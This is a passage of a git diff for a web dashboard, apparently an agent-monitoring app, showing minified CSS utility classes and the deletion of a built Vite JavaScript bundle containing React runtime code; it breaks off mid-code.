monospace;--diff-selection-background-color: oklch(var(--surface-tint));--diff-selection-text-color: oklch(var(--fg));--diff-gutter-insert-background-color: oklch(var(--ok) / .1);--diff-gutter-insert-text-color: oklch(var(--fg-muted));--diff-gutter-delete-background-color: oklch(var(--warn) / .1);--diff-gutter-delete-text-color: oklch(var(--fg-muted));--diff-code-insert-background-color: oklch(var(--ok) / .1);--diff-code-insert-text-color: oklch(var(--fg));--diff-code-delete-background-color: oklch(var(--warn) / .1);--diff-code-delete-text-color: oklch(var(--fg-muted));--diff-code-insert-edit-background-color: oklch(var(--ok) / .18);--diff-code-delete-edit-background-color: oklch(var(--warn) / .18);--diff-code-selected-background-color: oklch(var(--surface-tint));--diff-omit-gutter-line-color: oklch(var(--rule))}.formula-run-diff-view .diff{font-size:.8125rem}.formula-run-diff-view .diff-code{word-break:normal;overflow-wrap:anywhere}.formula-run-diff-view .diff-gutter-sign{display:block;color:oklch(var(--fg-faint))}.focus-mark:focus-visible{outline:2px solid oklch(var(--accent));outline-offset:1px;border-radius:2px}.formula-run-node-shape-root{border-width:3px;border-style:double;border-radius:3px}.formula-run-node-shape-step{border-width:1px;border-style:solid;border-radius:3px}.formula-run-node-shape-retry{border-width:2px;border-style:double;border-radius:9999px;outline:1px solid oklch(var(--rule));outline-offset:3px}.formula-run-node-shape-check-loop{border-width:2px;border-style:double;border-radius:9999px 4px 4px 9999px}.formula-run-node-shape-scope{border-width:1px;border-style:dashed;border-radius:3px 10px 10px 3px}.formula-run-node-shape-condition{border-width:1px;border-style:dashed;border-radius:18px 4px}.formula-run-node-shape-fanout{border-width:1px;border-style:dashed;border-radius:6px;background-image:repeating-linear-gradient(90deg,transparent 0,transparent .75rem,oklch(var(--rule) / .28) .75rem,oklch(var(--rule) / .28) .8125rem)}.formula-run-node-shape-expansion{border-width:1px;border-style:dashed;border-radius:6px;outline:1px dashed oklch(var(--rule));outline-offset:3px}.formula-run-node-shape-control{border-width:1px;border-style:dotted;border-radius:4px}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);white-space:nowrap;border-width:0}.visible{visibility:visible}.invisible{visibility:hidden}.collapse{visibility:collapse}.static{position:static}.fixed{position:fixed}.absolute{position:absolute}.relative{position:relative}.sticky{position:sticky}.inset-0{inset:0}.inset-\[5\%\]{inset:5%}.bottom-\[-0\.75rem\]{bottom:-.75rem}.left-2{left:.5rem}.left-\[0\.3125rem\]{left:.3125rem}.top-10{top:2.5rem}.top-7{top:1.75rem}.z-50{z-index:50}.z-\[60\]{z-index:60}.z-\[61\]{z-index:61}.-mx-2{margin-left:-.5rem;margin-right:-.5rem}.mx-1\.5{margin-left:.375rem;margin-right:.375rem}.mx-2{margin-left:.5rem;margin-right:.5rem}.mx-auto{margin-left:auto;margin-right:auto}.-ml-4{margin-left:-1rem}.-mr-2{margin-right:-.5rem}.mb-1{margin-bottom:.25rem}.mb-10{margin-bottom:2.5rem}.mb-12{margin-bottom:3rem}.mb-2{margin-bottom:.5rem}.mb-3{margin-bottom:.75rem}.mb-4{margin-bottom:1rem}.mb-6{margin-bottom:1.5rem}.mb-8{margin-bottom:2rem}.ml-1{margin-left:.25rem}.ml-2{margin-left:.5rem}.ml-3{margin-left:.75rem}.ml-auto{margin-left:auto}.mt-0\.5{margin-top:.125rem}.mt-1{margin-top:.25rem}.mt-10{margin-top:2.5rem}.mt-12{margin-top:3rem}.mt-2{margin-top:.5rem}.mt-3{margin-top:.75rem}.mt-4{margin-top:1rem}.mt-5{margin-top:1.25rem}.mt-6{margin-top:1.5rem}.mt-8{margin-top:2rem}.line-clamp-2{overflow:hidden;display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:2}.block{display:block}.inline-block{display:inline-block}.inline{display:inline}.flex{display:flex}.inline-flex{display:inline-flex}.table{display:table}.grid{display:grid}.contents{display:contents}.hidden{display:none}.h-16{height:4rem}.h-2{height:.5rem}.h-3\.5{height:.875rem}.h-96{height:24rem}.max-h-\[28rem\]{max-height:28rem}.max-h-\[60vh\]{max-height:60vh}.max-h-\[90vh\]{max-height:90vh}.min-h-screen{min-height:100vh}.w-10{width:2.5rem}.w-2{width:.5rem}.w-20{width:5rem}.w-24{width:6rem}.w-28{width:7rem}.w-3{width:.75rem}.w-3\.5{width:.875rem}.w-32{width:8rem}.w-48{width:12rem}.w-8{width:2rem}.w-80{width:20rem}.w-full{width:100%}.min-w-0{min-width:0px}.min-w-36{min-width:9rem}.min-w-40{min-width:10rem}.min-w-44{min-width:11rem}.min-w-56{min-width:14rem}.min-w-\[18rem\]{min-width:18rem}.max-w-2xl{max-width:42rem}.max-w-3xl{max-width:48rem}.max-w-5xl{max-width:64rem}.max-w-\[70ch\]{max-width:70ch}.max-w-dashboard{max-width:1280px}.max-w-prose{max-width:70ch}.max-w-xl{max-width:36rem}.flex-1{flex:1 1 0%}.shrink-0{flex-shrink:0}.grow{flex-grow:1}.translate-y-\[1px\]{--tw-translate-y: 1px;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-y-\[2px\]{--tw-translate-y: 2px;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.scale-100{--tw-scale-x: 1;--tw-scale-y: 1;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.scale-95{--tw-scale-x: .95;--tw-scale-y: .95;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.transform{transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.cursor-not-allowed{cursor:not-allowed}.cursor-pointer{cursor:pointer}.select-none{-webkit-user-select:none;-moz-user-select:none;user-select:none}.select-all{-webkit-user-select:all;-moz-user-select:all;user-select:all}.resize-y{resize:vertical}.list-none{list-style-type:none}.grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))}.grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.grid-cols-\[1fr_max-content\]{grid-template-columns:1fr max-content}.grid-cols-\[1fr_max-content_max-content\]{grid-template-columns:1fr max-content max-content}.grid-cols-\[7rem_minmax\(6\.5rem\,1fr\)\]{grid-template-columns:7rem minmax(6.5rem,1fr)}.grid-cols-\[max-content_1fr\]{grid-template-columns:max-content 1fr}.grid-cols-\[max-content_minmax\(0\,1fr\)\]{grid-template-columns:max-content minmax(0,1fr)}.flex-col{flex-direction:column}.flex-wrap{flex-wrap:wrap}.items-start{align-items:flex-start}.items-end{align-items:flex-end}.items-center{align-items:center}.items-baseline{align-items:baseline}.justify-end{justify-content:flex-end}.justify-center{justify-content:center}.justify-between{justify-content:space-between}.gap-1{gap:.25rem}.gap-1\.5{gap:.375rem}.gap-10{gap:2.5rem}.gap-2{gap:.5rem}.gap-3{gap:.75rem}.gap-4{gap:1rem}.gap-6{gap:1.5rem}.gap-8{gap:2rem}.gap-x-2{-moz-column-gap:.5rem;column-gap:.5rem}.gap-x-3{-moz-column-gap:.75rem;column-gap:.75rem}.gap-x-4{-moz-column-gap:1rem;column-gap:1rem}.gap-x-5{-moz-column-gap:1.25rem;column-gap:1.25rem}.gap-x-6{-moz-column-gap:1.5rem;column-gap:1.5rem}.gap-x-8{-moz-column-gap:2rem;column-gap:2rem}.gap-y-1{row-gap:.25rem}.gap-y-2{row-gap:.5rem}.gap-y-3{row-gap:.75rem}.gap-y-4{row-gap:1rem}.gap-y-5{row-gap:1.25rem}.gap-y-8{row-gap:2rem}.space-y-0\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.125rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.125rem * var(--tw-space-y-reverse))}.space-y-1>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.25rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.25rem * var(--tw-space-y-reverse))}.space-y-1\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.375rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.375rem * var(--tw-space-y-reverse))}.space-y-12>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(3rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(3rem * var(--tw-space-y-reverse))}.space-y-2>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.5rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.5rem * var(--tw-space-y-reverse))}.space-y-3>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.75rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.75rem * var(--tw-space-y-reverse))}.space-y-4>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1rem * var(--tw-space-y-reverse))}.space-y-5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1.25rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1.25rem * var(--tw-space-y-reverse))}.space-y-6>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1.5rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1.5rem * var(--tw-space-y-reverse))}.space-y-8>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(2rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(2rem * var(--tw-space-y-reverse))}.divide-y>:not([hidden])~:not([hidden]){--tw-divide-y-reverse: 0;border-top-width:calc(1px * calc(1 - var(--tw-divide-y-reverse)));border-bottom-width:calc(1px * var(--tw-divide-y-reverse))}.divide-rule>:not([hidden])~:not([hidden]){--tw-divide-opacity: 1;border-color:oklch(var(--rule) / var(--tw-divide-opacity, 1))}.overflow-auto{overflow:auto}.overflow-x-auto{overflow-x:auto}.overflow-y-auto{overflow-y:auto}.truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.whitespace-pre-wrap{white-space:pre-wrap}.break-all{word-break:break-all}.rounded{border-radius:4px}.rounded-full{border-radius:9999px}.rounded-md{border-radius:6px}.rounded-sm{border-radius:2px}.border{border-width:1px}.border-0{border-width:0px}.border-y{border-top-width:1px;border-bottom-width:1px}.border-b{border-bottom-width:1px}.border-l{border-left-width:1px}.border-l-2{border-left-width:2px}.border-t{border-top-width:1px}.border-accent{--tw-border-opacity: 1;border-color:oklch(var(--accent) / var(--tw-border-opacity, 1))}.border-fg{--tw-border-opacity: 1;border-color:oklch(var(--fg) / var(--tw-border-opacity, 1))}.border-rule{--tw-border-opacity: 1;border-color:oklch(var(--rule) / var(--tw-border-opacity, 1))}.border-transparent{border-color:transparent}.border-warn{--tw-border-opacity: 1;border-color:oklch(var(--warn) / var(--tw-border-opacity, 1))}.border-warn\/40{border-color:oklch(var(--warn) / .4)}.bg-accent\/10{background-color:oklch(var(--accent) / .1)}.bg-accent\/5{background-color:oklch(var(--accent) / .05)}.bg-fg-faint{--tw-bg-opacity: 1;background-color:oklch(var(--fg-faint) / var(--tw-bg-opacity, 1))}.bg-fg\/30{background-color:oklch(var(--fg) / .3)}.bg-surface{--tw-bg-opacity: 1;background-color:oklch(var(--surface) / var(--tw-bg-opacity, 1))}.bg-surface-tint{--tw-bg-opacity: 1;background-color:oklch(var(--surface-tint) / var(--tw-bg-opacity, 1))}.bg-transparent{background-color:transparent}.bg-warn\/10{background-color:oklch(var(--warn) / .1)}.bg-warn\/5{background-color:oklch(var(--warn) / .05)}.p-3{padding:.75rem}.p-4{padding:1rem}.p-5{padding:1.25rem}.px-0{padding-left:0;padding-right:0}.px-0\.5{padding-left:.125rem;padding-right:.125rem}.px-1{padding-left:.25rem;padding-right:.25rem}.px-1\.5{padding-left:.375rem;padding-right:.375rem}.px-2{padding-left:.5rem;padding-right:.5rem}.px-2\.5{padding-left:.625rem;padding-right:.625rem}.px-3{padding-left:.75rem;padding-right:.75rem}.px-3\.5{padding-left:.875rem;padding-right:.875rem}.px-4{padding-left:1rem;padding-right:1rem}.px-5{padding-left:1.25rem;padding-right:1.25rem}.px-6{padding-left:1.5rem;padding-right:1.5rem}.py-0\.5{padding-top:.125rem;padding-bottom:.125rem}.py-1{padding-top:.25rem;padding-bottom:.25rem}.py-1\.5{padding-top:.375rem;padding-bottom:.375rem}.py-10{padding-top:2.5rem;padding-bottom:2.5rem}.py-12{padding-top:3rem;padding-bottom:3rem}.py-2{padding-top:.5rem;padding-bottom:.5rem}.py-3{padding-top:.75rem;padding-bottom:.75rem}.py-4{padding-top:1rem;padding-bottom:1rem}.py-5{padding-top:1.25rem;padding-bottom:1.25rem}.pb-1{padding-bottom:.25rem}.pb-2{padding-bottom:.5rem}.pb-3{padding-bottom:.75rem}.pb-4{padding-bottom:1rem}.pb-6{padding-bottom:1.5rem}.pl-4{padding-left:1rem}.pl-6{padding-left:1.5rem}.pr-2{padding-right:.5rem}.pr-6{padding-right:1.5rem}.pt-3{padding-top:.75rem}.pt-4{padding-top:1rem}.pt-5{padding-top:1.25rem}.text-left{text-align:left}.text-center{text-align:center}.text-right{text-align:right}.align-baseline{vertical-align:baseline}.align-super{vertical-align:super}.font-sans{font-family:Inter Variable,Inter,-apple-system,BlinkMacSystemFont,Segoe UI,system-ui,sans-serif}.text-5xl{font-size:3rem;line-height:1}.text-\[0\.65rem\]{font-size:.65rem}.text-\[0\.85em\]{font-size:.85em}.text-body{font-size:.9375rem;line-height:1.55}.text-display{font-size:2.5rem;line-height:1.05;letter-spacing:-.02em}.text-headline{font-size:1.5rem;line-height:1.15;letter-spacing:-.01em}.text-label{font-size:.75rem;line-height:1.2;letter-spacing:.04em}.text-lg{font-size:1.125rem;line-height:1.75rem}.text-sm{font-size:.875rem;line-height:1.25rem}.text-title{font-size:1rem;line-height:1.35}.font-medium{font-weight:500}.font-normal{font-weight:400}.font-semibold{font-weight:600}.uppercase{text-transform:uppercase}.lowercase{text-transform:lowercase}.capitalize{text-transform:capitalize}.normal-case{text-transform:none}.italic{font-style:italic}.not-italic{font-style:normal}.tabular-nums{--tw-numeric-spacing: tabular-nums;font-variant-numeric:var(--tw-ordinal) var(--tw-slashed-zero) var(--tw-numeric-figure) var(--tw-numeric-spacing) var(--tw-numeric-fraction)}.leading-\[1\.05\]{line-height:1.05}.leading-none{line-height:1}.leading-relaxed{line-height:1.625}.leading-snug{line-height:1.375}.leading-tight{line-height:1.25}.tracking-normal{letter-spacing:0}.tracking-tight{letter-spacing:-.01em}.tracking-tighter{letter-spacing:-.02em}.tracking-wider{letter-spacing:.04em}.text-accent{--tw-text-opacity: 1;color:oklch(var(--accent) / var(--tw-text-opacity, 1))}.text-fg{--tw-text-opacity: 1;color:oklch(var(--fg) / var(--tw-text-opacity, 1))}.text-fg-faint{--tw-text-opacity: 1;color:oklch(var(--fg-faint) / var(--tw-text-opacity, 1))}.text-fg-muted{--tw-text-opacity: 1;color:oklch(var(--fg-muted) / var(--tw-text-opacity, 1))}.text-ok{--tw-text-opacity: 1;color:oklch(var(--ok) / var(--tw-text-opacity, 1))}.text-warn{--tw-text-opacity: 1;color:oklch(var(--warn) / var(--tw-text-opacity, 1))}.underline{text-decoration-line:underline}.decoration-fg{text-decoration-color:oklch(var(--fg) / 1)}.decoration-dotted{text-decoration-style:dotted}.underline-offset-2{text-underline-offset:2px}.underline-offset-4{text-underline-offset:4px}.antialiased{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.accent-fg{accent-color:oklch(var(--fg) / 1)}.opacity-0{opacity:0}.opacity-100{opacity:1}.shadow{--tw-shadow: 0 1px 3px 0 rgb(0 0 0 / .1), 0 1px 2px -1px rgb(0 0 0 / .1);--tw-shadow-colored: 0 1px 3px 0 var(--tw-shadow-color), 0 1px 2px -1px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.ring-2{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.ring-accent\/45{--tw-ring-color: oklch(var(--accent) / .45)}.ring-offset-2{--tw-ring-offset-width: 2px}.ring-offset-surface{--tw-ring-offset-color: oklch(var(--surface) / 1)}.filter{filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.transition{transition-property:color,background-color,border-color,text-decoration-color,fill,stroke,opacity,box-shadow,transform,filter,backdrop-filter;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-\[opacity\,transform\]{transition-property:opacity,transform;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-colors{transition-property:color,background-color,border-color,text-decoration-color,fill,stroke;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-opacity{transition-property:opacity;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-transform{transition-property:transform;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.duration-150{transition-duration:.15s}.ease-out{transition-timing-function:cubic-bezier(0,0,.2,1)}.ease-out-quart{transition-timing-function:cubic-bezier(.25,1,.5,1)}@media(prefers-reduced-motion:reduce){*,*:before,*:after{animation-duration:.01ms!important;animation-iteration-count:1!important;transition-duration:.01ms!important;scroll-behavior:auto!important}}.placeholder\:text-fg-faint::-moz-placeholder{--tw-text-opacity: 1;color:oklch(var(--fg-faint) / var(--tw-text-opacity, 1))}.placeholder\:text-fg-faint::placeholder{--tw-text-opacity: 1;color:oklch(var(--fg-faint) / var(--tw-text-opacity, 1))}.last\:border-0:last-child{border-width:0px}.last\:border-b-0:last-child{border-bottom-width:0px}.hover\:border-fg-faint:hover{--tw-border-opacity: 1;border-color:oklch(var(--fg-faint) / var(--tw-border-opacity, 1))}.hover\:bg-accent:hover{--tw-bg-opacity: 1;background-color:oklch(var(--accent) / var(--tw-bg-opacity, 1))}.hover\:bg-accent\/15:hover{background-color:oklch(var(--accent) / .15)}.hover\:bg-surface-tint:hover{--tw-bg-opacity: 1;background-color:oklch(var(--surface-tint) / var(--tw-bg-opacity, 1))}.hover\:bg-surface-tint\/60:hover{background-color:oklch(var(--surface-tint) / .6)}.hover\:bg-warn\/15:hover{background-color:oklch(var(--warn) / .15)}.hover\:text-accent:hover{--tw-text-opacity: 1;color:oklch(var(--accent) / var(--tw-text-opacity, 1))}.hover\:text-fg:hover{--tw-text-opacity: 1;color:oklch(var(--fg) / var(--tw-text-opacity, 1))}.hover\:text-fg-muted:hover{--tw-text-opacity: 1;color:oklch(var(--fg-muted) / var(--tw-text-opacity, 1))}.hover\:text-surface:hover{--tw-text-opacity: 1;color:oklch(var(--surface) / var(--tw-text-opacity, 1))}.hover\:underline:hover{text-decoration-line:underline}.focus\:border-accent:focus{--tw-border-opacity: 1;border-color:oklch(var(--accent) / var(--tw-border-opacity, 1))}.focus\:outline-none:focus{outline:2px solid transparent;outline-offset:2px}.focus\:ring-0:focus{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(0px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.focus\:ring-1:focus{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.focus\:ring-accent\/40:focus{--tw-ring-color: oklch(var(--accent) / .4)}.disabled\:cursor-not-allowed:disabled{cursor:not-allowed}.disabled\:opacity-40:disabled{opacity:.4}.disabled\:opacity-50:disabled{opacity:.5}.group:hover .group-hover\:text-accent{--tw-text-opacity: 1;color:oklch(var(--accent) / var(--tw-text-opacity, 1))}.group:hover .group-hover\:text-fg{--tw-text-opacity: 1;color:oklch(var(--fg) / var(--tw-text-opacity, 1))}.group:hover .group-hover\:text-fg-muted{--tw-text-opacity: 1;color:oklch(var(--fg-muted) / var(--tw-text-opacity, 1))}@media(prefers-reduced-motion:reduce){.motion-reduce\:transition-none{transition-property:none}}@media(min-width:640px){.sm\:w-44{width:11rem}.sm\:w-64{width:16rem}.sm\:w-\[34rem\]{width:34rem}.sm\:shrink-0{flex-shrink:0}.sm\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.sm\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.sm\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.sm\:grid-cols-\[7rem_6\.5rem_10rem_7rem\]{grid-template-columns:7rem 6.5rem 10rem 7rem}.sm\:flex-row{flex-direction:row}.sm\:items-start{align-items:flex-start}.sm\:items-center{align-items:center}.sm\:border-b-0{border-bottom-width:0px}.sm\:border-r{border-right-width:1px}.sm\:p-6{padding:1.5rem}.sm\:px-6{padding-left:1.5rem;padding-right:1.5rem}.sm\:pb-0{padding-bottom:0}.sm\:pr-6{padding-right:1.5rem}}@media(min-width:768px){.md\:grid-cols-\[minmax\(0\,1fr\)_auto\]{grid-template-columns:minmax(0,1fr) auto}.md\:items-start{align-items:flex-start}.md\:items-end{align-items:flex-end}.md\:justify-end{justify-content:flex-end}}@media(min-width:1024px){.lg\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.lg\:grid-cols-\[minmax\(0\,0\.95fr\)_minmax\(22rem\,1\.05fr\)\]{grid-template-columns:minmax(0,.95fr) minmax(22rem,1.05fr)}.lg\:gap-x-7{-moz-column-gap:1.75rem;column-gap:1.75rem}.lg\:gap-x-8{-moz-column-gap:2rem;column-gap:2rem}.lg\:px-8{padding-left:2rem;padding-right:2rem}}@media(min-width:1280px){.xl\:grid-cols-5{grid-template-columns:repeat(5,minmax(0,1fr))}}
diff --git a/internal/api/dashboardspa/dist/assets/index-fZITW1u7.js b/internal/api/dashboardspa/dist/assets/index-fZITW1u7.js
deleted file mode 100644
index 76c56bd670..0000000000
--- a/internal/api/dashboardspa/dist/assets/index-fZITW1u7.js
+++ /dev/null
@@ -1,73 +0,0 @@
-const __vite__mapDeps=(i,m=__vite__mapDeps,d=(m.f||(m.f=["assets/Activity-vQrY22hr.js","assets/routeHighlight-B30gQO2o.js","assets/PageHeader-BLycRKkQ.js","assets/time-D9v0saHV.js","assets/useVisibleRefresh-TxiorL5p.js","assets/Health-BX_NsCAd.js","assets/format-fte2CeYD.js","assets/Agents-BS1KnSJ7.js","assets/context-window-Cu9zl36t.js","assets/projectOf-CTBm9kvF.js","assets/constants-D2ZRoVbf.js","assets/SseIndicator-iUpgegKX.js","assets/LiveSessionPeek-BIw38Xn5.js","assets/Table-YkXdgAfn.js","assets/agentReads-B_zbPymi.js","assets/AgentDetail-D5RvdJXI.js","assets/BeadDetailModal-sFRcKk2v.js","assets/Field-n7F8BpXe.js","assets/AmbientHome-BhBxFv91.js","assets/Beads-P9httQnR.js","assets/useListFilters-BD7uNn8W.js","assets/Mail-MdDQubNu.js","assets/FormulaRunDetail-obe4GEA3.js","assets/StageLadder-DyvNM-62.js","assets/Runs-BRm3CwrR.js"])))=>i.map(i=>d[i]);
-function N0(e,n){for(var o=0;o<n.length;o++){const s=n[o];if(typeof s!="string"&&!Array.isArray(s)){for(const u in s)if(u!=="default"&&!(u in e)){const p=Object.getOwnPropertyDescriptor(s,u);p&&Object.defineProperty(e,u,p.get?p:{enumerable:!0,get:()=>s[u]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const n=document.createElement("link").relList;if(n&&n.supports&&n.supports("modulepreload"))return;for(const u of document.querySelectorAll('link[rel="modulepreload"]'))s(u);new MutationObserver(u=>{for(const p of u)if(p.type==="childList")for(const d of p.addedNodes)d.tagName==="LINK"&&d.rel==="modulepreload"&&s(d)}).observe(document,{childList:!0,subtree:!0});function o(u){const p={};return u.integrity&&(p.integrity=u.integrity),u.referrerPolicy&&(p.referrerPolicy=u.referrerPolicy),u.crossOrigin==="use-credentials"?p.credentials="include":u.crossOrigin==="anonymous"?p.credentials="omit":p.credentials="same-origin",p}function s(u){if(u.ep)return;u.ep=!0;const p=o(u);fetch(u.href,p)}})();function Cm(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var ql={exports:{}},Ho={},Vl={exports:{}},he={};var gf;function A0(){if(gf)return he;gf=1;var e=Symbol.for("react.element"),n=Symbol.for("react.portal"),o=Symbol.for("react.fragment"),s=Symbol.for("react.strict_mode"),u=Symbol.for("react.profiler"),p=Symbol.for("react.provider"),d=Symbol.for("react.context"),m=Symbol.for("react.forward_ref"),h=Symbol.for("react.suspense"),y=Symbol.for("react.memo"),w=Symbol.for("react.lazy"),I=Symbol.iterator;function z(T){return T===null||typeof T!="object"?null:(T=I&&T[I]||T["@@iterator"],typeof T=="function"?T:null)}var B={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},D=Object.assign,V={};function A(T,F,me){this.props=T,this.context=F,this.refs=V,this.updater=me||B}A.prototype.isReactComponent={},A.prototype.setState=function(T,F){if(typeof T!="object"&&typeof T!="function"&&T!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,T,F,"setState")},A.prototype.forceUpdate=function(T){this.updater.enqueueForceUpdate(this,T,"forceUpdate")};function H(){}H.prototype=A.prototype;function oe(T,F,me){this.props=T,this.context=F,this.refs=V,this.updater=me||B}var Q=oe.prototype=new H;Q.constructor=oe,D(Q,A.prototype),Q.isPureReactComponent=!0;var K=Array.isArray,Y=Object.prototype.hasOwnProperty,ue={current:null},ce={key:!0,ref:!0,__self:!0,__source:!0};function pe(T,F,me){var ge,we={},Ee=null,Ce=null;if(F!=null)for(ge in F.ref!==void 0&&(Ce=F.ref),F.key!==void 0&&(Ee=""+F.key),F)Y.call(F,ge)&&!ce.hasOwnProperty(ge)&&(we[ge]=F[ge]);var ke=arguments.length-2;if(ke===1)we.children=me;else if(1<ke){for(var je=Array(ke),bt=0;bt<ke;bt++)je[bt]=arguments[bt+2];we.children=je}if(T&&T.defaultProps)for(ge in ke=T.defaultProps,ke)we[ge]===void 0&&(we[ge]=ke[ge]);return{$$typeof:e,type:T,key:Ee,ref:Ce,props:we,_owner:ue.current}}function Te(T,F){return{$$typeof:e,type:T.type,key:F,ref:T.ref,props:T.props,_owner:T._owner}}function ye(T){return typeof T=="object"&&T!==null&&T.$$typeof===e}function Ae(T){var F={"=":"=0",":":"=2"};return"$"+T.replace(/[=:]/g,function(me){return F[me]})}var Ke=/\/+/g;function Oe(T,F){return typeof T=="object"&&T!==null&&T.key!=null?Ae(""+T.key):F.toString(36)}function Xe(T,F,me,ge,we){var Ee=typeof T;(Ee==="undefined"||Ee==="boolean")&&(T=null);var Ce=!1;if(T===null)Ce=!0;else switch(Ee){case"string":case"number":Ce=!0;break;case"object":switch(T.$$typeof){case e:case n:Ce=!0}}if(Ce)return Ce=T,we=we(Ce),T=ge===""?"."+Oe(Ce,0):ge,K(we)?(me="",T!=null&&(me=T.replace(Ke,"$&/")+"/"),Xe(we,F,me,"",function(bt){return bt})):we!=null&&(ye(we)&&(we=Te(we,me+(!we.key||Ce&&Ce.key===we.key?"":(""+we.key).replace(Ke,"$&/")+"/")+T)),F.push(we)),1;if(Ce=0,ge=ge===""?".":ge+":",K(T))for(var ke=0;ke<T.length;ke++){Ee=T[ke];var je=ge+Oe(Ee,ke);Ce+=Xe(Ee,F,me,je,we)}else if(je=z(T),typeof je=="function")for(T=je.call(T),ke=0;!(Ee=T.next()).done;)Ee=Ee.value,je=ge+Oe(Ee,ke++),Ce+=Xe(Ee,F,me,je,we);else if(Ee==="object")throw F=String(T),Error("Objects are not valid as a React child (found: "+(F==="[object Object]"?"object with keys {"+Object.keys(T).join(", ")+"}":F)+"). If you meant to render a collection of children, use an array instead.");return Ce}function kt(T,F,me){if(T==null)return T;var ge=[],we=0;return Xe(T,ge,"","",function(Ee){return F.call(me,Ee,we++)}),ge}function ht(T){if(T._status===-1){var F=T._result;F=F(),F.then(function(me){(T._status===0||T._status===-1)&&(T._status=1,T._result=me)},function(me){(T._status===0||T._status===-1)&&(T._status=2,T._result=me)}),T._status===-1&&(T._status=0,T._result=F)}if(T._status===1)return T._result.default;throw T._result}var 